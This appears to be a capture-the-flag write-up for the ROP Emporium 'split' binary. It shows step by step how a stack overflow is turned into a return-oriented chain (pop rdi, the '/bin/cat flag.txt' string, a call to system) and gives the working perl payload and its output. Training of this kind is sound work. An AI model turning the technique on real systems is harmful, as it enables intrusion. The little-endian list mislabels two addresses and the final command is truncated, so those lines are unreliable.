This challenge uses a similar pwnme function as the previous ret2win challenge with the same offsets but a larger overflow (0x60 bytes).

$ perl -e 'print(("\x00" x 0x28) . "fedcba")' |
  gdb ./split --batch -ex run
split by ROP Emporium
Program received signal SIGSEGV, Segmentation fault.
0x0000616263646566 in ?? ()

Scanning through the symbols we see two interesting things.

$ r2 ./split -qc "is"
Num Paddr      Vaddr      Bind     Type Size Name
039 0x00000807 0x00400807  LOCAL   FUNC   17 usefulFunction
066 0x00001060 0x00601060 GLOBAL    OBJ   26 usefulString

$ r2 split -qc "aa ; pdf @ sym.usefulFunction"
/ (fcn) sym.usefulFunction 17
|   sym.usefulFunction ();
|           0x00400807      push rbp
|           0x00400808      mov rbp, rsp
|           0x0040080b      mov edi, str.bin_ls ; "/bin/ls"
|           0x00400810      call sym.imp.system
|           0x00400815      nop
|           0x00400816      pop rbp
\           0x00400817      ret

$ r2 split -qc "aa ; ps @ obj.usefulString"
/bin/cat flag.txt

It would seem that combining these two things, calling system with "/bin/cat flag.txt", is the purpose of this challenge.

The way arguments are passed to functions on AMD64 Linux (called the sysv ABI), is via the following registers RDI, RSI, RDX, RCX, R8, R9, and then remaining arguments are passed on the stack. In our case we want obj.usefulString (0x00601060) to be in the RDI register before we jump to call system() (0x00400810).

Radare2 has a command for searching gadgets which is /R. By wrapping the whole command in double quotes we can search for multiple opcodes in the same gadget chain, in this case pop rdi followed by ret. (The single quotes on the outside are for the sake of Bash).

$ r2 ./split -qc ' "/R pop rdi;ret" '
  0x00400883                 5f  pop rdi
  0x00400884                 c3  ret

We now have all the ingredients for our ROP chain:

  1. pop rdi (0x00400883)
  2. obj.usefulString (0x00601060)
  3. call sym.imp.system (0x00400810)

After the overflow we want our stack to look like this:

| rsp + 0x38         | 0x0000000000400810 | <-- 3.
| rsp + 0x30         | 0x0000000000601060 | <-- 2.
| rsp + 0x28         | 0x0000000000400883 | <-- 1.
| rsp + 0x20         | 0x0000000000000000 | <-- stored rbp
| rsp + 0x18         | 0x0000000000000000 | <-- end of buffer
| rsp + 0x10         | 0x0000000000000000 |
| rsp + 0x08         | 0x0000000000000000 |
| rsp + 0x00         | 0x0000000000000000 | <-- start of buffer

So after reting from pwnme(), the application will jump to 0x00400883 and execute pop rdi, the value poped from the stack will be 0x00601060 (usefulString), and the next ret will jump to 0x00400810 and execute call sym.imp.system.

AMD64 is a little endian platform so we need to swap the bytes round for each memory address in our ROP chain:

  1. 0x0000000000400810 => "\x83\x08\x40\x00\x00\x00\x00\x00"
  2. 0x0000000000601060 => "\x60\x10\x60\x00\x00\x00\x00\x00"
  3. 0x0000000000400883 => "\x10\x08\x40\x00\x00\x00\x00\x00"

Converting addresses manually gets tedious so here is a bash one liner

$ echo $(echo -n "$1" |
         sed -re 's/([0-9a-f]{2})/\\x\1/g' |
         tac -b -rs '\(\\x\|\s\)' -)

Here is the example in action, successfully printing the flag:

$ perl -e 'print(("\x00" x 0x28) .
                  "\x83\x08\x40\x00\x00\x00\x00\x00" .
                  "\x60\x10\x60\x00\x00\x00\x00\x00" .
                  "\x10\x08\x40\x00\x00\x00\x00\x00")' |
split by ROP Emporium
> ROPE{a_placeholder_32byte_flag!}
Segmentation fault